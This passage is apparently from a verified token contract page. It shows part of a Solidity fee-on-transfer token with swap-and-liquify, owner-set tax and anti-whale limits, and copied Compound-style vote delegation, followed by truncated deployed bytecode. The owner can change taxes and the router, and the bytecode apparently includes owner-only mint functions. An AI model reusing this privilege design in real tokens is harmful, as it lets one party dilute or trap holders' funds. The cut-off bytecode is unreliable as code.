liquifyAmount.div(2); uint256 otherHalf = liquifyAmount.sub(half); // capture the contract's current ETH balance. // this is so that we can capture exactly the amount of ETH that the // swap creates, and not make the liquidity event include any ETH that // has been manually sent to the contract uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } } /// @dev Swap tokens for eth function swapTokensForEth(uint256 tokenAmount) private { // generate the tokenSwap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniSwapRouter.WETH(); _approve(address(this), address(uniSwapRouter), tokenAmount); // make the swap uniSwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } /// @dev Add liquidity function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniSwapRouter), tokenAmount); // add the liquidity uniSwapRouter.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable _operator, block.timestamp ); } /** * @dev Returns the max transfer amount. */ function maxTransferAmount() public view returns (uint256) { return totalSupply().mul(maxTransferAmountRate).div(100); } /** * @dev Returns the address is excluded from antiWhale or not. */ function isExcludedFromAntiWhale(address _account) public view returns (bool) { return _excludedFromAntiWhale[_account]; } // To receive BNB from tokenSwapRouter when swapping receive() external payable {} /** * @dev Update the transfer tax rate. * Can only be called by the current operator. */ function updateTransferTaxRate(uint16 _transferTaxRate) public onlyowner { require(_transferTaxRate <= MAXIMUM_TRANSFER_TAX_RATE, "updateTransferTaxRate: Transfer tax rate must not exceed the maximum rate."); emit TransferTaxRateUpdated(msg.sender, transferTaxRate, _transferTaxRate); transferTaxRate = _transferTaxRate; } /** * @dev Update the burn rate. * Can only be called by the current operator. */ function updateBurnRate(uint16 _burnRate) public onlyowner { require(_burnRate <= 100, "updateBurnRate: Burn rate must not exceed the maximum rate."); emit BurnRateUpdated(msg.sender, burnRate, _burnRate); burnRate = _burnRate; } /** * @dev Update the max transfer amount rate. * Can only be called by the current operator. */ function updateMaxTransferAmountRate(uint16 _maxTransferAmountRate) public onlyowner { require(_maxTransferAmountRate <= 1000000, "updateMaxTransferAmountRate: Max transfer amount rate must not exceed the maximum rate."); emit MaxTransferAmountRateUpdated(msg.sender, maxTransferAmountRate, _maxTransferAmountRate); maxTransferAmountRate = _maxTransferAmountRate; } /** * @dev Update the min amount to liquify. * Can only be called by the current operator. */ function updateMinAmountToLiquify(uint256 _minAmount) public onlyowner { emit MinAmountToLiquifyUpdated(msg.sender, minAmountToLiquify, _minAmount); minAmountToLiquify = _minAmount; } /** * @dev Exclude or include an address from antiWhale. * Can only be called by the current operator. */ function setExcludedFromAntiWhale(address _account, bool _excluded) public onlyowner { _excludedFromAntiWhale[_account] = _excluded; } /** * @dev Update the swapAndLiquifyEnabled. * Can only be called by the current operator. */ function updateSwapAndLiquifyEnabled(bool _enabled) public onlyowner { emit SwapAndLiquifyEnabledUpdated(msg.sender, _enabled); swapAndLiquifyEnabled = _enabled; } /** * @dev Update the swap router. * Can only be called by the current operator. */ function updateuniSwapRouter(address _router) public onlyowner { uniSwapRouter = IUniswapV2Router02(_router); uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH()); require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address."); emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair); } /** * @dev Returns the address of the current operator. */ /** * @dev Transfers operator of the contract to a new account (`newOperator`). * Can only be called by the current operator. */ // Copied and modified from YAM code: // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol // https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol // Which is copied and modified from COMPOUND: // https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol /// @dev A record of each accounts delegate mapping (address => address) internal _delegates; /// @notice A checkpoint for marking number of votes from a given block struct Checkpoint { uint32 fromBlock; uint256 votes; } /// @notice A record of votes checkpoints for each account, by index mapping (address => mapping (uint32 => Checkpoint)) public checkpoints; /// @notice The number of checkpoints for each account mapping (address => uint32) public numCheckpoints; /// @notice The EIP-712 typehash for the contract's domain //bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"); /// @notice The EIP-712 typehash for the delegation struct used by the contract //bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"); /// @notice A record of states for signing / validating signatures mapping (address => uint) public nonces; /// @notice An event thats emitted when an account changes its delegate event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate); /// @notice An event thats emitted when a delegate account's vote balance changes event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance); /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegator The address to get delegatee for */ function delegates(address delegator) external view returns (address) { return _delegates[delegator]; } /** * @notice Delegate votes from `msg.sender` to `delegatee` * @param delegatee The address to delegate votes to */ function delegate(address delegatee) external { return _delegate(msg.sender, delegatee); } /** * @notice Delegates votes from signatory to `delegatee` * @param delegatee The address to delegate votes to * @param nonce The contract state required to match the signature * @param expiry The time at which to expire the signature * @param v The recovery byte of the signature * @param r Half of the ECDSA signature pair * @param s Half of the ECDSA signature pair */ function delegateBySig( address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s ) external { bytes32 domainSeparator = keccak256( abi.encode( keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"), keccak256(bytes(name())), getChainId(), address(this) ) ); bytes32 structHash = keccak256( abi.encode( keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"), delegatee, nonce, expiry ) ); bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", domainSeparator, structHash ) ); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "delegateBySig: invalid signature"); require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce"); require(now <= expiry, "delegateBySig: signature expired"); return _delegate(signatory, delegatee); } /** * @notice Gets the current votes balance for `account` * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) external view returns (uint256) { require(blockNumber < block.number, "getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } function _delegate(address delegator, address delegatee) internal { address currentDelegate = _delegates[delegator]; uint256 delegatorBalance = balanceOf(delegator); // balance of underlying tokens (not scaled); _delegates[delegator] = delegatee; emit DelegateChanged(delegator, currentDelegate, delegatee); _moveDelegates(currentDelegate, delegatee, delegatorBalance); } function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal { if (srcRep != dstRep && amount > 0) { if (srcRep != address(0)) { // decrease old representative uint32 srcRepNum = numCheckpoints[srcRep]; uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0; uint256 srcRepNew = srcRepOld.sub(amount); _writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew); } if (dstRep != address(0)) { // increase new representative uint32 dstRepNum = numCheckpoints[dstRep]; uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0; uint256 dstRepNew = dstRepOld.add(amount); _writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew); } } } function _writeCheckpoint( address delegatee, uint32 nCheckpoints, uint256 oldVotes, uint256 newVotes ) internal { uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits"); if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) { checkpoints[delegatee][nCheckpoints - 1].votes = newVotes; } else { checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[delegatee] = nCheckpoints + 1; } emit DelegateVotesChanged(delegatee, oldVotes, newVotes); } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal pure returns (uint) { uint256 chainId; assembly { chainId := chainid() } return chainId; } }
0x6080604052600436106102345760003560e01c8063782d6fe11161012e578063bed99850116100ab578063ee20e7841161006f578063ee20e78414610e14578063f1127ed814610e65578063f2fde38b14610ee7578063f607f2b414610f38578063fccc281314610f775761023b565b8063bed9985014610c3c578063c3cda52014610c6b578063c7f59a6714610cf1578063d837df0514610d4e578063dd62ed3e14610d8f5761023b565b8063a392e674116100f2578063a392e67414610a8f578063a457c2d714610aca578063a9059cbb14610b3b578063a9e7572314610bac578063b4b5ea5714610bd75761023b565b8063782d6fe1146108ad5780637ecebe001461091c5780638da5cb5b1461098157806395d89b41146109c25780639f9a4e7f14610a525761023b565b80633bd5d173116101bc5780636a141e2c116101805780636a141e2c146107365780636fcfff451461077557806370a08231146107e0578063715018a6146108455780637687e5b61461085c5761023b565b80633bd5d1731461059d578063587cde1e146105ee5780635c19a95c146106695780635d01ff3d146106ba57806369fe0e2d146106fb5761023b565b8063269f534c11610203578063269f534c146103fd578063313ce56714610464578063376c23911461049257806339509351146104d15780633a537b0c146105425761023b565b806306fdde0314610240578063095ea7b3146102d057806318160ddd1461034157806323b872dd1461036c5761023b565b3661023b57005b600080fd5b34801561024c57600080fd5b50610255610fb8565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561029557808201518184015260208101905061027a565b50505050905090810190601f1680156102c25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102dc57600080fd5b50610329600480360360408110156102f357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061105a565b60405180821515815260200191505060405180910390f35b34801561034d57600080fd5b50610356611078565b6040518082815260200191505060405180910390f35b34801561037857600080fd5b506103e56004803603606081101561038f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611082565b60405180821515815260200191505060405180910390f35b34801561040957600080fd5b5061044c6004803603602081101561042057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061115b565b60405180821515815260200191505060405180910390f35b34801561047057600080fd5b506104796111b1565b604051808260ff16815260200191505060405180910390f35b34801561049e57600080fd5b506104cf600480360360208110156104b557600080fd5b81019080803561ffff1690602001909291905050506111c8565b005b3480156104dd57600080fd5b5061052a600480360360408110156104f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061135f565b60405180821515815260200191505060405180910390f35b34801561054e57600080fd5b5061059b6004803603604081101561056557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611412565b005b3480156105a957600080fd5b506105d6600480360360208110156105c057600080fd5b8101908080359060200190929190505050611531565b60405180821515815260200191505060405180910390f35b3480156105fa57600080fd5b5061063d6004803603602081101561061157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115f3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561067557600080fd5b506106b86004803603602081101561068c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061165c565b005b3480156106c657600080fd5b506106cf611669565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561070757600080fd5b506107346004803603602081101561071e57600080fd5b810190808035906020019092919050505061168f565b005b34801561074257600080fd5b506107736004803603602081101561075957600080fd5b81019080803561ffff169060200190929190505050611749565b005b34801561078157600080fd5b506107c46004803603602081101561079857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118dd565b604051808263ffffffff16815260200191505060405180910390f35b3480156107ec57600080fd5b5061082f6004803603602081101561080357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611900565b6040518082815260200191505060405180910390f35b34801561085157600080fd5b5061085a611949565b005b34801561086857600080fd5b506108ab6004803603602081101561087f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611acf565b005b3480156108b957600080fd5b50610906600480360360408110156108d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611f5a565b6040518082815260200191505060405180910390f35b34801561092857600080fd5b5061096b6004803603602081101561093f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061231b565b6040518082815260200191505060405180910390f35b34801561098d57600080fd5b50610996612333565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109ce57600080fd5b506109d761235c565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a175780820151818401526020810190506109fc565b50505050905090810190601f168015610a445780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a5e57600080fd5b50610a8d60048036036020811015610a7557600080fd5b810190808035151590602001909291905050506123fe565b005b348015610a9b57600080fd5b50610ac860048036036020811015610ab257600080fd5b8101908080359060200190929190505050612511565b005b348015610ad657600080fd5b50610b2360048036036040811015610aed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612619565b60405180821515815260200191505060405180910390f35b348015610b4757600080fd5b50610b9460048036036040811015610b5e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126e6565b60405180821515815260200191505060405180910390f35b348015610bb857600080fd5b50610bc1612704565b6040518082815260200191505060405180910390f35b348015610be357600080fd5b50610c2660048036036020811015610bfa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061274c565b6040518082815260200191505060405180910390f35b348015610c4857600080fd5b50610c51612822565b604051808261ffff16815260200191505060405180910390f35b348015610c7757600080fd5b50610cef600480360360c0811015610c8e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190803560ff1690602001909291908035906020019092919080359060200190929190505050612836565b005b348015610cfd57600080fd5b50610d4c60048036036040811015610d1457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612bf1565b005b348015610d5a57600080fd5b50610d63612cf2565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610d9b57600080fd5b50610dfe60048036036040811015610db257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d18565b6040518082815260200191505060405180910390f35b348015610e2057600080fd5b50610e6360048036036020811015610e3757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612d9f565b005b348015610e7157600080fd5b50610ec460048036036040811015610e8857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803563ffffffff169060200190929190505050612e89565b604051808363ffffffff1681526020018281526020019250505060405180910390f35b348015610ef357600080fd5b50610f3660048036036020811015610f0a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612eca565b005b348015610f4457600080fd5b50610f7560048036036020811015610f5b57600080fd5b81019080803561ffff1690602001909291905050506130d5565b005b348015610f8357600080fd5b50610f8c613267565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156110505780601f1061102557610100808354040283529160200191611050565b820191906000526020600020905b81548152906001019060200180831161103357829003601f168201915b5050505050905090565b600061106e61106761326d565b8484613275565b6001905092915050565b6000600354905090565b600061108f84848461346c565b6111508461109b61326d565b61114b8560405180606001604052806028815260200161501d60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061110161326d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a809092919063ffffffff16565b613275565b600190509392505050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600660009054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461126e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b6103e861ffff168161ffff1611156112d1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a815260200180615045604a913960600191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167fe9d5c8ee2a65d4fb859c680669d8f902172d53e3f15f9f11108a31bbada4b70b600660019054906101000a900461ffff1683604051808361ffff1681526020018261ffff1681526020019250505060405180910390a280600660016101000a81548161ffff021916908361ffff16021790555050565b600061140861136c61326d565b84611403856002600061137d61326d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3a90919063ffffffff16565b613275565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b6114c28282613bc2565b61152d6000600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613d2c565b5050565b60003373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b6115ea6115e461326d565b83613bc2565b60019050919050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6116663382613fc9565b50565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611735576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b670de0b6b3a7640000810260078190555050565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146117ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b620f42408161ffff16111561184f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526057815260200180614ef06057913960600191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167fb62a50fc861a770636e85357becb3b82a32e911106609d4985871eaf29011e08600860009054906101000a900461ffff1683604051808361ffff1681526020018261ffff1681526020019250505060405180910390a280600860006101000a81548161ffff021916908361ffff16021790555050565b60116020528060005260406000206000915054906101000a900463ffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61195161326d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a11576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b75576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015611c1e57600080fd5b505afa158015611c32573d6000803e3d6000fd5b505050506040513d6020811015611c4857600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cdd57600080fd5b505afa158015611cf1573d6000803e3d6000fd5b505050506040513d6020811015611d0757600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060206040518083038186803b158015611d7f57600080fd5b505afa158015611d93573d6000803e3d6000fd5b505050506040513d6020811015611da957600080fd5b8101908080519060200190929190505050600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ea2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c815260200180614ff1602c913960400191505060405180910390fd5b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f3fe1abf2c4f1629f831f1b62c82dbf6ab91e0e6e7d0d2a005a3179f2823cb7eb60405160405180910390a450565b6000438210611fb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180614e976021913960400191505060405180910390fd5b6000601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff161415612021576000915050612315565b82601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001840363ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff161161210b57601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff16815260200190815260200160002060010154915050612315565b82601060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008063ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16111561218c576000915050612315565b6000806001830390505b8163ffffffff168163ffffffff1611156122af576000600283830363ffffffff16816121be57fe5b04820390506121cb614e76565b601060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206040518060400160405290816000820160009054906101000a900463ffffffff1663ffffffff1663ffffffff168152602001600182015481525050905086816000015163ffffffff16141561228757806020015195505050505050612315565b86816000015163ffffffff1610156122a1578193506122a8565b6001820392505b5050612196565b601060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008363ffffffff1663ffffffff1681526020019081526020016000206001015493505050505b92915050565b60126020528060005260406000206000915090505481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156123f45780601f106123c9576101008083540402835291602001916123f4565b820191906000526020600020905b8154815290600101906020018083116123d757829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124a4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f3ca65588b29182880283bc8778fea5f01b351e01d874839a39a99e1c281a21138260405180821515815260200191505060405180910390a280600a60006101000a81548160ff02191690831515021790555050565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146125b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff167f54c7a13ff01698e4ed3550a23216585f8472c7b1515a932eac98c9a6d48990c5600b5483604051808381526020018281526020019250505060405180910390a280600b8190555050565b60006126dc61262661326d565b846126d785604051806060016040528060258152602001615173602591396002600061265061326d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a809092919063ffffffff16565b613275565b6001905092915050565b60006126fa6126f361326d565b848461346c565b6001905092915050565b60006127476064612739600860009054906101000a900461ffff1661ffff1661272b611078565b61413a90919063ffffffff16565b6141c090919063ffffffff16565b905090565b600080601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff16905060008163ffffffff16116127b657600061281a565b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001830363ffffffff1663ffffffff168152602001908152602001600020600101545b915050919050565b600660039054906101000a900461ffff1681565b60007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866612861610fb8565b80519060200120612870614249565b30604051602001808581526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff16815260200194505050505060405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf888888604051602001808581526020018473ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020019450505050506040516020818303038152906040528051906020012090506000828260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051808581526020018460ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa1580156129f4573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612aa3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f64656c656761746542795369673a20696e76616c6964207369676e617475726581525060200191505060405180910390fd5b601260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558914612b65576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f64656c656761746542795369673a20696e76616c6964206e6f6e63650000000081525060200191505060405180910390fd5b87421115612bdb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f64656c656761746542795369673a207369676e6174757265206578706972656481525060200191505060405180910390fd5b612be5818b613fc9565b50505050505050505050565b3373ffffffffffffffffffffffffffffffffffffffff16600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612c97576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806150d86024913960400191505060405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1